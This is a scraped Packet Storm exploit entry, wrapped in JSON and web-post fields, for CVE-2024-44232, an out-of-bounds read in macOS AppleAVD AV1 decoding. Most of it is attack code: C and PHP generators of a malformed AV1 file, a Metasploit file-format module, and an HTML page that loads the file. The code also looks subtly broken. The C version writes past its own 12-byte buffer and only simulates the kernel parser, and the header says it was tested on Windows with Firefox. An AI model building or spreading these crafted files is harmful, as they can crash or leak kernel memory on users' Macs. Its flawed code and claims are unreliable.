{“lastseen”:”2025-12-02T19:41:26″,”description”:”macOS Sonoma version 14.5 has a vulnerability in the AV1Syntax::ParseHeader function that can allow for a kernel crash…”,”published”:”2025-12-02T00:00:00″,”modified”:”2025-12-02T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 macOS Sonoma 14.5 Denial of Service”,”source”:””,”references”:””,”id”:”PACKETSTORM:212319″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2024-44232″],”sourceData”:”=============================================================================================================================================\\n | # Title : macOS Sonoma 14.5 potential kernel crash |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : System built\u2011in component. No standalone download available. |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/202851\/ \\u0026 CVE-2024-44232\\n \\n [+] Summary : \\n \\n The vulnerability resides in the AV1_Syntax::Parse_Header function, where the size of AV1 OBUs (Open Bitstream Units) is parsed incorrectly. \\n \\t\\t\\t Due to insufficient validation of OBU sizes, a specially crafted AV1 video file can cause the parser to compute an excessively large size value. When this malformed size is later used during parsing, it can trigger an Out-of-Bounds Read.\\n This flaw is tracked as CVE-2024-44232, a critical out-of-bounds read vulnerability in Apple\u2019s hardware-accelerated AppleAVD AV1 decoding kernel extension. \\n \\t\\t\\t The issue affects macOS systems equipped with hardware AV1 decoder support.\\n \\t\\t\\t \\n [+] Discovered by Google Project Zero, the vulnerability may lead to:\\n \\n Kernel memory disclosure, or Kernel crashes (DoS)\\n simply by processing a malicious AV1 video file.\\n \\n \\n [+] POC : \\n \\n for php : php poc.php\\n \\n Makefile for C PoC\\n makefile\\n \\n # Makefile for CVE-2024-44232 PoC\\n CC = gcc\\n CFLAGS = -Wall -Wextra -std=c99\\n TARGET = av1_poc\\n SRC = av1_poc.c\\n \\n all: $(TARGET)\\n \\n $(TARGET): $(SRC)\\n \\t$(CC) $(CFLAGS) -o $(TARGET) $(SRC)\\n \\n clean:\\n \\trm -f $(TARGET) *.av1\\n \\n test: $(TARGET)\\n \\t.\/$(TARGET)\\n \\n .PHONY: all clean test\\n \\n \ud83d\udd27 Compilation and Usage\\n For C Version:\\n bash\\n \\n gcc -Wall -o av1_poc av1_poc.c\\n .\/av1_poc\\n \\n ************************\\n C Language PoC :\\n ************************\\n \\n #include \\u003cstdio.h\\u003e\\n #include \\u003cstdlib.h\\u003e\\n #include \\u003cstring.h\\u003e\\n #include \\u003cstdint.h\\u003e\\n \\n \/\/ Basic OBU structure\\n typedef struct {\\n uint8_t type;\\n uint8_t extension_flag;\\n uint8_t has_size;\\n uint64_t size;\\n } obu_header_t;\\n \\n \/\/ Create malformed AV1 with oversized OBU\\n void create_malformed_av1(uint8_t **buffer, size_t *size) {\\n \/\/ AV1 basic signature\\n uint8_t av1_signature[] = {0x81, 0x00, 0x00, 0x00};\\n \\n \/\/ OBU with extremely large size\\n obu_header_t obu;\\n obu.type = 0x0F; \/\/ Unknown\/Padding type (triggers vulnerable path)\\n obu.extension_flag = 0x00;\\n obu.has_size = 0x01;\\n obu.size = 0xFFFFFFFFFFFFFFFF; \/\/ Maximum size\\n \\n \/\/ Calculate total size\\n size_t header_size = sizeof(av1_signature);\\n size_t obu_size = 4 + 8; \/\/ OBU header + encoded OBU size\\n *size = header_size + obu_size;\\n \\n \/\/ Allocate memory\\n *buffer = (uint8_t*)malloc(*size);\\n if (!*buffer) {\\n printf(\\”Memory allocation failed\\\\n\\”);\\n return;\\n }\\n \\n \/\/ Copy signature\\n memcpy(*buffer, av1_signature, sizeof(av1_signature));\\n \\n \/\/ Build OBU header\\n uint8_t *ptr = *buffer + header_size;\\n \\n \/\/ Type and extension field\\n *ptr++ = (obu.type \\u003c\\u003c 3) | (obu.extension_flag \\u003c\\u003c 2) | (obu.has_size \\u003c\\u003c 1);\\n \\n \/\/ Encoded OBU size (LEB128) – very large size\\n uint8_t leb128[] = {\\n 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \\n 0xFF, 0xFF, 0xFF, 0xFF, 0x7F \/\/ Stop byte\\n };\\n memcpy(ptr, leb128, sizeof(leb128));\\n ptr += sizeof(leb128);\\n \\n printf(\\”Malformed AV1 file created:\\\\n\\”);\\n printf(\\”- Total size: %zu bytes\\\\n\\”, *size);\\n printf(\\”- OBU type: 0x%02X (Unknown)\\\\n\\”, obu.type);\\n printf(\\”- OBU size: %llu (extremely large)\\\\n\\”, obu.size);\\n }\\n \\n \/\/ Simulate vulnerable OBU parsing\\n void simulate_obu_parsing(const uint8_t *data, size_t data_size) {\\n printf(\\”\\\\nSimulating OBU parsing…\\\\n\\”);\\n \\n const uint8_t *ptr = data + 4; \/\/ Skip AV1 signature\\n const uint8_t *end = data + data_size;\\n \\n if (ptr \\u003e= end) {\\n printf(\\”Insufficient data\\\\n\\”);\\n return;\\n }\\n \\n \/\/ Read OBU header\\n uint8_t obu_header = *ptr++;\\n uint8_t obu_type = (obu_header \\u003e\\u003e 3) \\u0026 0x1F;\\n uint8_t extension_flag = (obu_header \\u003e\\u003e 2) \\u0026 0x1;\\n uint8_t has_size = (obu_header \\u003e\\u003e 1) \\u0026 0x1;\\n \\n printf(\\”OBU Header:\\\\n\\”);\\n printf(\\”- Type: 0x%02X\\\\n\\”, obu_type);\\n printf(\\”- Extension flag: %d\\\\n\\”, extension_flag);\\n printf(\\”- Has size: %d\\\\n\\”, has_size);\\n \\n if (!has_size) {\\n printf(\\”No OBU size field\\\\n\\”);\\n return;\\n }\\n \\n \/\/ Simulate reading OBU size (vulnerable code)\\n uint64_t obu_size = 0;\\n int shift = 0;\\n int bytes_read = 0;\\n int max_bytes = 8;\\n \\n printf(\\”Reading OBU size (LEB128):\\\\n\\”);\\n \\n while (bytes_read \\u003c max_bytes) {\\n if (ptr \\u003e= end) {\\n printf(\\”End of data while reading size\\\\n\\”);\\n break;\\n }\\n \\n uint8_t byte = *ptr++;\\n bytes_read++;\\n \\n obu_size |= (uint64_t)(byte \\u0026 0x7F) \\u003c\\u003c shift;\\n printf(\\” Byte %d: 0x%02X, Current size: %llu\\\\n\\”, \\n bytes_read, byte, obu_size);\\n \\n if ((byte \\u0026 0x80) == 0) {\\n break;\\n }\\n \\n shift += 7;\\n if (bytes_read == max_bytes) {\\n printf(\\” Reached max bytes\\\\n\\”);\\n break;\\n }\\n }\\n \\n printf(\\”Final OBU size: %llu\\\\n\\”, obu_size);\\n printf(\\”Remaining buffer bytes: %ld\\\\n\\”, end – ptr);\\n \\n \/\/ Simulate the vulnerable out-of-bounds read\\n if (obu_type == 0x0F) { \/\/ Unknown\/Padding type\\n printf(\\”\\\\nTriggering unknown OBU path…\\\\n\\”);\\n \\n \/\/ This simulates the vulnerable code:\\n \/\/ while ( v31 + v83 ) \\n \/\/ { \\n \/\/ if ( v8[v36 – 1 + v31 + v37 + v22 + v83–] ) \\n \\n size_t remaining_data = end – ptr;\\n if (obu_size \\u003e remaining_data) {\\n printf(\\”\u2757 POTENTIAL OUT-OF-BOUNDS READ!\\\\n\\”);\\n printf(\\”\u2757 OBU requests %llu bytes but only %zu bytes available\\\\n\\”, \\n obu_size, remaining_data);\\n printf(\\”\u2757 Difference: %lld bytes beyond bounds\\\\n\\”, \\n obu_size – remaining_data);\\n } else {\\n printf(\\”Sufficient data for OBU\\\\n\\”);\\n }\\n }\\n }\\n \\n \/\/ Main test cycle\\n int main() {\\n printf(\\”=== CVE-2024-44232 PoC – AppleAVD OOB Read ===\\\\n\\”);\\n printf(\\”Out-of-bounds read in AV1 decoding\\\\n\\\\n\\”);\\n \\n uint8_t *malformed_av1 = NULL;\\n size_t file_size = 0;\\n \\n \/\/ Create malformed AV1 file\\n create_malformed_av1(\\u0026malformed_av1, \\u0026file_size);\\n \\n if (malformed_av1) {\\n \/\/ Simulate vulnerable processing\\n simulate_obu_parsing(malformed_av1, file_size);\\n \\n \/\/ Cleanup\\n free(malformed_av1);\\n }\\n \\n printf(\\”\\\\n=== Test completed ===\\\\n\\”);\\n return 0;\\n }\\n \\n -********************\\n PHP PoC\\n -**\/*\/*\/*\/*\/*\/*\/*\/*\/*\/\\n \\n \\u003c?php\\n \/**\\n * CVE-2024-44232 PoC – AppleAVD Out-of-Bounds Read\\n * PHP malformed AV1 file generator\\n * by indoushka\\n *\/\\n \\n class AV1MalformedGenerator {\\n \\n private $debug = true;\\n \\n public function log($message) {\\n if ($this-\\u003edebug) {\\n echo \\”[INFO] \\” . $message . \\”\\\\n\\”;\\n }\\n }\\n \\n public function generateMalformedAV1() {\\n $this-\\u003elog(\\”Generating malformed AV1 file for CVE-2024-44232\\”);\\n \\n \/\/ AV1 signature\\n $av1_signature = \\”\\\\x81\\\\x00\\\\x00\\\\x00\\”;\\n \\n \/\/ Create OBU with huge size\\n $obu_header = $this-\\u003ecreateObuHeader(0x0F, false, true); \/\/ Unknown type\\n \\n \/\/ Create oversized LEB128\\n $leb128_size = $this-\\u003ecreateLargeLeb128(0x7FFFFFFFFFFFFFFF);\\n \\n \/\/ Build the data\\n $malformed_data = $av1_signature . $obu_header . $leb128_size;\\n \\n $this-\\u003elog(\\”Malformed data generated:\\”);\\n $this-\\u003elog(\\” – Total size: \\” . strlen($malformed_data) . \\” bytes\\”);\\n $this-\\u003elog(\\” – OBU type: 0x0F (Unknown)\\”);\\n $this-\\u003elog(\\” – OBU size: extremely large\\”);\\n \\n return $malformed_data;\\n }\\n \\n private function createObuHeader($type, $extension_flag, $has_size) {\\n $header = ($type \\u003c\\u003c 3) | ($extension_flag \\u003c\\u003c 2) | ($has_size \\u003c\\u003c 1);\\n return chr($header);\\n }\\n \\n private function createLargeLeb128($size) {\\n $leb128 = \\”\\”;\\n $value = $size;\\n \\n do {\\n $byte = $value \\u0026 0x7F;\\n $value \\u003e\\u003e= 7;\\n \\n if ($value != 0) {\\n $byte |= 0x80;\\n }\\n \\n $leb128 .= chr($byte);\\n } while ($value != 0);\\n \\n \/\/ Add extra bytes to make size huge\\n while (strlen($leb128) \\u003c 10) {\\n $leb128 .= chr(0xFF);\\n }\\n $leb128 .= chr(0x7F); \/\/ Stop byte\\n \\n $this-\\u003elog(\\”Created LEB128 size: \\” . strlen($leb128) . \\” bytes\\”);\\n \\n return $leb128;\\n }\\n \\n public function saveToFile($filename = \\”malformed.av1\\”) {\\n $data = $this-\\u003egenerateMalformedAV1();\\n \\n if (file_put_contents($filename, $data)) {\\n $this-\\u003elog(\\”File saved as: \\” . $filename);\\n $this-\\u003eanalyzeFile($filename);\\n return true;\\n } else {\\n $this-\\u003elog(\\”Failed to save file\\”);\\n return false;\\n }\\n }\\n \\n private function analyzeFile($filename) {\\n $data = file_get_contents($filename);\\n $this-\\u003elog(\\”\\\\nFile analysis:\\”);\\n $this-\\u003elog(\\”Size: \\” . strlen($data) . \\” bytes\\”);\\n $this-\\u003elog(\\”First bytes: \\” . bin2hex(substr($data, 0, 16)));\\n \\n \/\/ Simulate vulnerable parsing\\n $this-\\u003esimulateVulnerableParsing($data);\\n }\\n \\n private function simulateVulnerableParsing($data) {\\n $this-\\u003elog(\\”\\\\nSimulating vulnerable parsing:\\”);\\n \\n if (strlen($data) \\u003c 5) {\\n $this-\\u003elog(\\”Insufficient data\\”);\\n return;\\n }\\n \\n $ptr = 4; \/\/ Skip signature\\n $obu_header = ord($data[$ptr++]);\\n \\n $type = ($obu_header \\u003e\\u003e 3) \\u0026 0x1F;\\n $has_size = ($obu_header \\u003e\\u003e 1) \\u0026 0x1;\\n \\n $this-\\u003elog(\\”OBU header: 0x\\” . dechex($obu_header));\\n $this-\\u003elog(\\”Type: 0x\\” . dechex($type));\\n $this-\\u003elog(\\”Has size: \\” . $has_size);\\n \\n if ($has_size) {\\n $obu_size = 0;\\n $shift = 0;\\n $bytes_read = 0;\\n \\n while ($bytes_read \\u003c 10 \\u0026\\u0026 $ptr \\u003c strlen($data)) {\\n $byte = ord($data[$ptr++]);\\n $bytes_read++;\\n \\n $obu_size |= ($byte \\u0026 0x7F) \\u003c\\u003c $shift;\\n \\n if (($byte \\u0026 0x80) == 0) {\\n break;\\n }\\n \\n $shift += 7;\\n }\\n \\n $this-\\u003elog(\\”Parsed size: \\” . $obu_size);\\n $this-\\u003elog(\\”Remaining bytes: \\” . (strlen($data) – $ptr));\\n \\n if ($obu_size \\u003e (strlen($data) – $ptr)) {\\n $this-\\u003elog(\\”\u26a0\ufe0f POTENTIAL OUT-OF-BOUNDS READ!\\”);\\n $this-\\u003elog(\\”\u26a0\ufe0f Requested: \\” . $obu_size . \\” bytes\\”);\\n $this-\\u003elog(\\”\u26a0\ufe0f Available: \\” . (strlen($data) – $ptr) . \\” bytes\\”);\\n }\\n }\\n }\\n }\\n \\n \/\/ Usage\\n if (php_sapi_name() === ‘cli’) {\\n $generator = new AV1MalformedGenerator();\\n \\n if (isset($argv[1])) {\\n $filename = $argv[1];\\n } else {\\n $filename = \\”cve_2024_44232_poc.av1\\”;\\n }\\n \\n $generator-\\u003esaveToFile($filename);\\n \\n echo \\”\\\\n=== Test file generated ===\\\\n\\”;\\n echo \\”Use this file to test the vulnerability on macOS systems\\\\n\\”;\\n echo \\”with AppleAVD extension and hardware AV1 decoder support\\\\n\\”;\\n }\\n ?\\u003e\\n \\n ***********************\\n Metasploit Module\\n ***********************\\n ##\\n # Metasploit module for CVE-2024-44232\\n ##\\n \\n require ‘msf\/core’\\n \\n class MetasploitModule \\u003c Msf::Auxiliary\\n \\n include Msf::Exploit::FILEFORMAT\\n \\n def initialize(info = {})\\n super(update_info(info,\\n ‘Name’ =\\u003e ‘AppleAVD AV1 OBU Out-of-Bounds Read’,\\n ‘Description’ =\\u003e %q{\\n This module generates a malformed AV1 file that triggers\\n an out-of-bounds read in AppleAVD kernel extension.\\n CVE-2024-44232.\\n },\\n ‘Author’ =\\u003e [‘indoushka’],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2024-44232’],\\n [‘URL’, ‘https:\/\/googleprojectzero.blogspot.com\/’]\\n ],\\n ‘DisclosureDate’ =\\u003e ‘2024-07-24’\\n ))\\n \\n register_options([\\n OptString.new(‘FILENAME’, [true, ‘The output filename’, ‘malformed.av1’])\\n ])\\n end\\n \\n def run\\n # AV1 signature\\n av1_signature = \\”\\\\x81\\\\x00\\\\x00\\\\x00\\”\\n \\n # OBU header with unknown type\\n obu_header = create_obu_header(0x0F, false, true)\\n \\n # Large LEB128 size\\n leb128_size = create_large_leb128(0x7FFFFFFFFFFFFFFF)\\n \\n # Build the file\\n malformed_data = av1_signature + obu_header + leb128_size\\n \\n print_status(\\”Creating malformed AV1 file…\\”)\\n print_status(\\”Total size: #{malformed_data.length} bytes\\”)\\n print_status(\\”OBU type: 0x0F (Unknown)\\”)\\n print_status(\\”Large OBU size to trigger OOB read\\”)\\n \\n file_create(malformed_data)\\n print_good(\\”Malformed AV1 file created: #{datastore[‘FILENAME’]}\\”)\\n end\\n \\n def create_obu_header(type, extension_flag, has_size)\\n header = (type \\u003c\\u003c 3) | (extension_flag ? 1 \\u003c\\u003c 2 : 0) | (has_size ? 1 \\u003c\\u003c 1 : 0)\\n [header].pack(‘C’)\\n end\\n \\n def create_large_leb128(size)\\n leb128 = \\”\\”\\n value = size\\n \\n begin\\n byte = value \\u0026 0x7F\\n value \\u003e\\u003e= 7\\n \\n if value != 0\\n byte |= 0x80\\n end\\n \\n leb128 \\u003c\\u003c [byte].pack(‘C’)\\n end while value != 0\\n \\n # Make the size larger\\n while leb128.length \\u003c 10\\n leb128 \\u003c\\u003c \\”\\\\xFF\\”\\n end\\n leb128 \\u003c\\u003c \\”\\\\x7F\\”\\n \\n leb128\\n end\\n end\\n \\n **************************\\n HTML Test Page\\n \/\/\/\/\/\/\/\/*****************\\n \\u003c!DOCTYPE html\\u003e\\n \\u003chtml\\u003e\\n \\u003chead\\u003e\\n \\u003ctitle\\u003eCVE-2024-44232 Test\\u003c\/title\\u003e\\n \\u003c\/head\\u003e\\n \\u003cbody\\u003e\\n \\u003ch1\\u003eindoushka-AppleAVD Vulnerability Test Page\\u003c\/h1\\u003e\\n \\n \\u003cvideo id=\\”testVideo\\” width=\\”320\\” height=\\”240\\” controls\\u003e\\n \\u003csource src=\\”malformed.av1\\” type=\\”video\/av1\\”\\u003e\\n Browser does not support AV1.\\n \\u003c\/video\\u003e\\n \\n \\u003cscript\\u003e\\n \/\/ Try to load the malformed video\\n const video = document.getElementById(‘testVideo’);\\n \\n video.addEventListener(‘error’, function(e) {\\n console.log(‘Video loading error:’, e);\\n document.getElementById(‘status’).innerHTML = \\n ‘Error detected – vulnerability may have been triggered’;\\n });\\n \\n video.addEventListener(‘load’, function(e) {\\n document.getElementById(‘status’).innerHTML = \\n ‘Video loaded successfully’;\\n });\\n \\u003c\/script\\u003e\\n \\n \\u003cdiv id=\\”status\\”\\u003ePreparing…\\u003c\/div\\u003e\\n \\u003cdiv id=\\”info\\”\\u003e\\n \\u003cp\\u003eThis is a test for CVE-2024-44232 in AppleAVD\\u003c\/p\\u003e\\n \\u003cp\\u003eOn macOS systems with hardware AV1 decoder support\\u003c\/p\\u003e\\n \\u003c\/div\\u003e\\n \\u003c\/body\\u003e\\n \\u003c\/html\\u003e\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212319″,”cvss”:{“score”:6.5,”severity”:”MEDIUM”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:R\/S:U\/C:N\/I:N\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212319\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-02T19:41:26″,”description”:”macOS Sonoma version 14.5 has a vulnerability in the AV1Syntax::ParseHeader function that can allow for a kernel crash…”,”published”:”2025-12-02T00:00:00″,”modified”:”2025-12-02T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 macOS Sonoma 14.5 Denial of Service”,”source”:””,”references”:””,”id”:”PACKETSTORM:212319″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2024-44232″],”sourceData”:”=============================================================================================================================================\\n |…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,26,12,21,13,53,7,11,5],"class_list":["post-28301","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-65","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n